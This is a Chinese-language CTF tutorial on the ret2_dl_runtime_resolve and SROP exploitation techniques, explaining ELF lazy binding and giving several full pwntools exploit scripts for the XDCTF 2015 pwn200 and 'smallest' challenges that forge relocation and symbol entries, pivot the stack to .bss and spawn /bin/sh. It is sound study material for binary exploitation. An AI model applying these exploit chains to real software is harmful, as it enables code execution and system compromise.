ret2_dl_runtime_resolve

之前在 ret2libc 那块讲过的那个 动态链接 讲过,程序使用这个东西来进行延迟绑定的时候重定位的
如果我们可以控制相应的参数及其对应地址内容,就可以控制解析的函数了

XDCTF 2015 pwn200 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";

setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}

编译:
gcc -o main -m32 -fno-stack-protector bof.c

利用条件

1、dl_resolve 不会检查对应的参数是否越界
2、dl_resolve 函数最后解析依赖于所给定的字符串

原理

参考:[原创]ROP 高级用法之 ret2_dl_runtime_resolve

1、首先使用 link_map 访问 .dynamic,分别取出 .dynstr、.dynsym、.rel.plt 的地址
2、.rel.plt + 参数 reloc_arg,求出当前函数的重定位表项 Elf32_Rel 的指针,记作 rel
3、rel 的 r_info >> 8 作为 .dynsym 的下标,求出当前函数的符号表项 Elf32_Sym 的指针,记作 sym
4、.dynstr + sym -> st_name 得出符号名字符串指针
5、在动态链接库查找这个函数地址,并且把地址赋值给 *rel -> r_offset,即 GOT 表
6、调用这个函数

调试理解

在调用函数 strlen 的这个 call 下个断点:b *0x8048588

image.png
image.png

run 的时候把程序给断下来,然后 si 跟进这个 call 来看一下

image.png
image.png

进去之后可以看到首先会去执行下面这一块

image.png
image.png

对应之前讲的,跳转到自己的 plt 表项

继续单步执行,看一下

image.png
image.png

对应之前讲的跳转到公共的 plt 表项

又一次进行了跳转

image.png
image.png

对应之前讲的跳转到 dl_runtime_resolve 函数

这个地方就是 dl_runtime_resolve 了

image.png
image.png

需要注意的是,之前跳转的时候,程序 push 了两个参数,一个是 0x10,一个是 0x804a004 里面的内容

image.png
image.png

这两个参数就是 dl_runtime_resolve 这个函数的两个参数,我们看一下,0x804a004 里面存着什么
这个地址就是 link_map 的地址

image.png
image.png

通过这个地址就可以找到 .dynamic 的地址,第三个就是 0x8049f14

image.png
image.png

再根据这一个找到 .dynstr、 .dynsym、 .rel.plt 的地址

  • .dynstr 的地址是 .dynamic + 0x44 -> 0x08048278
  • .dynsym 的地址是 .dynamic + 0x4c -> 0x080481d8
  • .rel.plt 的地址是 .dynamic + 0x84 -> 0x08048330
image.png
image.png

.rel.plt 的地址加上参数 reloc_arg,即 0x08048330 + 0x10 -> 0x8048340
找到的就是函数的重定位表项 Elf32_Rel 的指针,记作 rel

image.png
image.png

通过这个 rel 可以得到以下信息

r_offset = 0x0804a014 //指向 GOT 表的指针
r_info = 0x00000407

将 r_info>>8,即 0x00000407>>8 = 4 作为.dynsym 中的下标,这里的 “>>” 意思是右移

我们来到 0x080481d8(上面找到的那个 .dynsym 的地址)看一下,在标号为 4 的地方,就是函数名称的偏移:name_offset

image.png
image.png

.dynstr + name_offset 就是这个函数的符号名字符串 st_name
0x08048278 + 0x20 -> 0x8048298‬

image.png
image.png

最后在动态链接库查找这个函数的地址,并且把地址赋值给 *rel -> r_offset,即 GOT 表就可以了

整理一下:

  1. dl_runtime_resolve 需要两个参数,一个是 reloc_arg,就是函数自己的 plt 表项 push 的内容,一个是 link_map,这个是公共 plt 表项 push 进栈的,通过它可以找到.dynamic 的地址
  2. 而 .dynamic 可以找到 .dynstr、.dynsym、.rel.plt 的这些东西的地址
  3. .rel.plt 的地址加上 reloc_arg 可以得到函数重定位表项 Elf32_Rel 的指针,这个指针对应的里面放着 r_offset、r_info
  4. 将 r_info>>8 得到的就是 .dynsym 的下标,这个下标的内容就是 name_offset
  5. .dynstr+name_offset 得到的就是 st_name,而 st_name 存放的就是要调用函数的函数名
  6. 在动态链接库里面找这个函数的地址,赋值给 *rel->r_offset,也就是 GOT 表就完成了一次函数的动态链接

pediy 思路

实际上,dl_runtime_resolve 是通过最后的 st_name 来确定执行那一个函数的,也就是说,可以通过控制这个地址的内容来执行任意函数,比如:system
而 reloc_arg 是我们可控的,我们需要把 reloc_arg 可控间接控制 st_name

我们可以在一段地址上伪造一段结构直接修改 .dynstr

计算 reloc_arg

objdump -s -j .rel.plt ./main

image.png
image.png

reloc_arg = fake_rel_plt_addr - 0x8048330

计算 r_info

n = (欲伪造的地址- .dynsym 基地址) / 0x10
r_info = n<<8

image.png
image.png

还需要过#define ELF32_R_TYPE(val) ((val) & 0xff)宏定义,ELF32_R_TYPE(r_info)=7,因此
r_info = r_info + 0x7

计算 name_offset

image.png
image.png

st_name = fake_dynstr_addr - 0x804821c

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './main'
p = process(name)
elf= ELF(name)
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr #0x8048330
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr #0x80481d8
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr #0x8048278
resolve_plt = 0x08048380
leave_ret_addr = 0x8048458

start = 0x804aa00
fake_rel_plt_addr = start
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh_addr = fake_dynstr_addr + 0x7
#n就是reloc_arg
n = fake_rel_plt_addr - rel_plt_addr
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_offset = fake_dynstr_addr - dynstr_addr
fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = "system\x00/bin/sh\x00\x00"
pay1 = 'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)
p.recvuntil('Welcome to XDCTF2015~!\n')
p.sendline(pay1)
pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + 'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
p.sendline(pay2)
success(".rel_plt: " + hex(rel_plt_addr))
success(".dynsym: " + hex(dynsym_addr))
success(".dynstr: " + hex(dynstr_addr))
success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
success("n: " + hex(n))
success("r_info: " + hex(r_info))
success("offset: " + hex(str_offset))
success("system_addr: " + hex(fake_dynstr_addr))
success("bss_addr: " + hex(elf.bss()))
p.interactive()

**

wiki 思路

首先正常的获取占空间的大小:

image.png
image.png

1
介绍一种栈迁移的方法,把栈迁移到 bss 段来控制执行 write 函数,主要分两步:
1、栈迁移到 bss 段
2、控制 write 函数输出相应的字符串

栈迁移的基本思路是用 leave;ret;
leave 相当于:
mov esp,ebp
pop ebp
ret 相当于:
pop eip

使用 pwntools 的 ROP 模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
elf = ELF('main')
p = process('./main')
rop = ROP('./main')#首先创建一个ROP对象
offset = 112
bss_addr = elf.bss()
p.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)#在ROP链中填充offset个a
### read 100 byte to base_stage
rop.read(0, base_stage, 100)#简易的调用read函数,相当于rop.call('read',[0,base_stage,100])
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
#rop.migrate(base_stage)会将程序流程又转到base_stage
p.sendline(rop.chain())
## write cmd="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))

p.sendline(rop.chain())
p.interactive()

2
接下来,用 dlresolve 的知识来调用 write 函数,利用 plt[0] 的相关指令,即公共 plt 表项 push linkmap 以及跳转到 dl_resolve 函数中解析的指令。此外,我们还得单独提供一个 write 重定位项在 plt 表中的偏移
即 write@plt push 的那个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write cmd="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
############## step 2 #################
plt0 = elf.get_section_by_name('.plt').header.sh_addr#会把找到的plt[0]的地址十进制形式给plt0
write_index = (elf.plt['write'] - plt0) / 16 - 1
write_index *= 8#得到push的那一个write@plt的0x20也就是32
rop.raw(plt0)#common@plt的地址,会去执行那个common@plt的指令,先push一个
rop.raw(write_index)#write@plt
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

对于通过 read 写入的那一串,首先会返回到 plt0 去执行公共 plt 表项的指令,此时因为我们没有执行之前的,所以把之前就应该 push 的那个 write_index,也就是 0x20 通过 raw() 写在栈里面

image.png
image.png

拿上面原理的例子,如果是 write 的话,黄框圈出来的应该是 0x20

3
同样控制 dl_resolve 函数中的 reloc_index 参数,不过这次控制其指向我们伪造的 write 重定位项

readelf -r main

image.png
image.png

可以看出 write 的重定表项的 r_offset=0x0804a01c,r_info=0x00000607

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## making base_stage+24 --> fake reloc
index_offset = base_stage + 24 - rel_plt
#本来应该是0x20的,因为我们想要找的rel指针实际上是在 rel.plt+reloc_arg
#当rel.plt+index_offset的时候得到的就是base_stage
write_got = elf.got['write'] # Elf32_rel -> r_offset
r_info = 0x607 # write: Elf32_Rel -> r_info
fake_reloc = p32(write_got) + p32(r_info)
rop.raw(plt0)
rop.raw(index_offset)#会从跳转到我们的 Fake_reloc
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_reloc) #Fake_reloc
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

4
3 中,我们控制了重定位表项,但是重定位表项的内容与 write 原来的重定位表项一致,这次,我们将构造属于我们自己的重定位表项,并且伪造该表项对应的符号。

首先,我们根据 write 的重定位表项的 r_info=0x607 可以知道,write 对应的符号在符号表的下标为 0x607>>8=0x6。因此,我们知道 write 对应的符号地址为 0x8048238

image.png
image.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_dynsym_addr = base_stage + 32
align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)
fake_dynsym_addr = fake_dynsym_addr + align # 用来对齐的
index_dynsym = (fake_dynsym_addr - dynsym) / 0x10 # 得到write的dynsym索引号
fake_dynsym = flat([0x4c, 0, 0, 0x12]) # 这就是fake_dynsym,0x4c就是那个name_offset
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7 #计算 r_info,|7相当于加7,后面添加上07标识,表示这个是导入函数
fake_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_reloc) # fake reloc
rop.raw('a' * align) # padding
rop.raw(fake_dynsym) # fake dynsym
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
image.png
image.png

https://xz.aliyun.com/t/5122

5
我们进一步使得 write 符号的 name_offset 指向我们自己构造的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_dynsym_addr = base_stage + 32
align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf) # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_dynsym_addr = fake_dynsym_addr + align
index_dynsym = (fake_dynsym_addr - dynsym) / 0x10 # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
name_offset = fake_dynsym_addr + 0x10 - dynstr
fake_dynsym = flat([name_offset, 0, 0, 0x12])
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
rop.raw(fake_dynsym) # fake write symbol
rop.raw('write\x00') # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

6
我们只需要将原先的 write 字符串修改为 system 字符串,同时修改 write 的参数为 system 的参数即可获取 shell。这是因为,dl_resolve 最终依赖的是我们所给定的字符串,即使我们给了一个假的字符串它仍然会去解析并执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_dynsym_addr = base_stage + 32
align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf) # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_dynsym_addr = fake_dynsym_addr + align
index_dynsym = (fake_dynsym_addr - dynsym) / 0x10 # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
name_offset = fake_dynsym_addr + 0x10 - dynstr
fake_dynsym = flat([name_offset, 0, 0, 0x12])
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
rop.raw(fake_dynsym) # fake write symbol
rop.raw('system\x00') # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
print rop.dump()
print len(rop.chain())
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

roputil 工具

直接使用 roputil 来进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()
rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

补:栈迁移原理

主要用的就是这个 leave;ret; 这样的 gadgets

image.png
image.png

假设,我们有一个程序,存在栈溢出漏洞,我们把内容覆盖成了下面这样子,当然此时 bss 段或者 data 段还没有内容,待会会通过 read 函数输入:

image.png
image.png

而实际上在程序调用完成 call 返回的时候,就会有这样的 mov esp,ebp pop ebp ret 指令

image.png
image.png

所以我们挨个去执行的时候会出现这样的情况

首先是 mov esp,ebp 执行完以后变成了这个样子:

image.png
image.png

然后 pop ebp 执行完后就是
别忘了,pop 指令是把栈顶的值弹到 指定的寄存器,也就是说 esp 会自动的减一个单位

image.png
image.png

这时候就到 ret 了,我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处
构造的内容主要是把 fake ebp1 处写成 fake ebp2 的地址

image.png
image.png

read 函数执行完成以后程序返回到了 leave_ret,这样就会在执行一遍上面说的那样
首先是 mov esp,ebp 执行完成后效果如下:

image.png
image.png

然后是 pop ebp 执行完成后:

image.png
image.png

此时在执行 ret 命令,他就会执行我们构造在 bss 段后者 data 段的那个函数

image.png
image.png

SROP

SROP(Sigreturn Oriented Programming),sigreturn 是一个系统调用,在 unix 系统发生 signal 的时候会被间接调用

当系统进程发起(deliver)一个 signal 的时候,该进程会被短暂的挂起(suspend),进入内核 ①,然后内核对该进程保留相应的上下文,跳转到之前注册好的 signal handler 中处理 signal②,当 signal 返回后 ③,内核为进程恢复之前保留的上下文,恢复进程的执行 ④

内核为进程保留相应的上下文的方法主要是:将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址,此时栈的情况是这样的:

我们称 ucontext 以及 siginfo 这一段为 signal frame,需要注意的是这一部分是在用户进程的地址空间,之后会跳转到注册过 signal handler 中处理相应的 signal,因此,当 signal handler 执行完成后就会执行 sigreturn 系统调用来恢复上下文,主要是将之前压入的寄存器的内容给还原回对应的寄存器,然后恢复进程的执行

32 位的 sigreturn 的系统调用号为 77,64 位的系统调用号为 15

例题

360 春秋杯中的 smallest

image.png
image.png

可以看到在 IDA 里面打开,只有这么几行

image.png
image.png

syscall 调用的是 rax 的 0(xor rax,rax 的结果)
所以这里就是 syscall(0,0,$rsp,0x400) 所以程序实际执行的是 read(0,$rsp,0x400),也就是往栈顶写 0x400 字节的内容

系统调用 调用号 函数原型
read 0 read(int fd, void *buf, size_t count)
write 1 write(int fd, const void *buf, size_t count)
sigreturn 15 int sigreturn(…)
execve 59 execve(const char filename, char *const argv[],char \const envp[])

SROP 主要是利用了第 15 号,sigreturn 从栈上读取数据,赋值到寄存器中,可以用来构造 syscall(59,”/bin/sh”,0,0)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#coding=utf8
from pwn import *
sh = process('./smallest')
small = ELF('./smallest')
context.arch = 'amd64'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
payload = p64(start_addr) * 3
sh.send(payload)#首先,发送start_addr的地址,因为是写在栈顶的,所以就是read的返回地址
#会返回到start_addr
sh.send('\xb3')#返回后再次调用read函数的时候输入一个字节,read函数会把读入的字节数放到rax
#这样就达到了rax置为1的目的,同时会把rsp的后一位写为\xB3,这样返回地址就不是start_addr了
#而是4000B3,这就避免了rax被xor置零
stack_addr = u64(sh.recv()[8:16])
#此时,这样我们就回去syscall调用write函数里,输出的就是栈上的0x400长度的内容
#别忘了当是输入的是3个start_addr,所以前八个字节是start_addr,后面的才是我们要用的
log.success('leak stack addr :' + hex(stack_addr))
#现在我们拿到栈的地址,同时,因为当时是写了三个start_addr,现在又回到了start_addr

#开始构造!我们要想要syscall调用sigreturn需要把rax设置为15,通过read实现
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret
#相当于read(0,stack_addr,0x400),同时返回地址是start_addr
read_frame_payload = p64(start_addr) + p64(syscall_ret) + str(read)
sh.send(read_frame_payload)#调用read函数,等待接收
sh.send(read_frame_payload[8:8+15])#总共是15个
#这样通过read返回的字节使得rax为15,这样的话就会去恢复构造的read那一段内容,来接受我们的输入

execve = SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=stack_addr + 0x120
execve.rsi=0x0
execve.rdx=0x0
execve.rsp=stack_addr
execve.rip=syscall_ret
execv_frame_payload=p64(start_addr)+p64(syscall_ret)+str(execve)#返回start_addr等待输入
print len(execv_frame_payload)
execv_frame_payload_all=execv_frame_payload+(0x120-len(execv_frame_payload ))*'\x00'+'/bin/sh\x00'
#先计算一下长度,让前面的添上几个'\x00'之后正好是120,然后再填上'/bin/sh'
sh.send(execv_frame_payload_all)
sh.send(execv_frame_payload_all[8:8+15])
sh.interactive()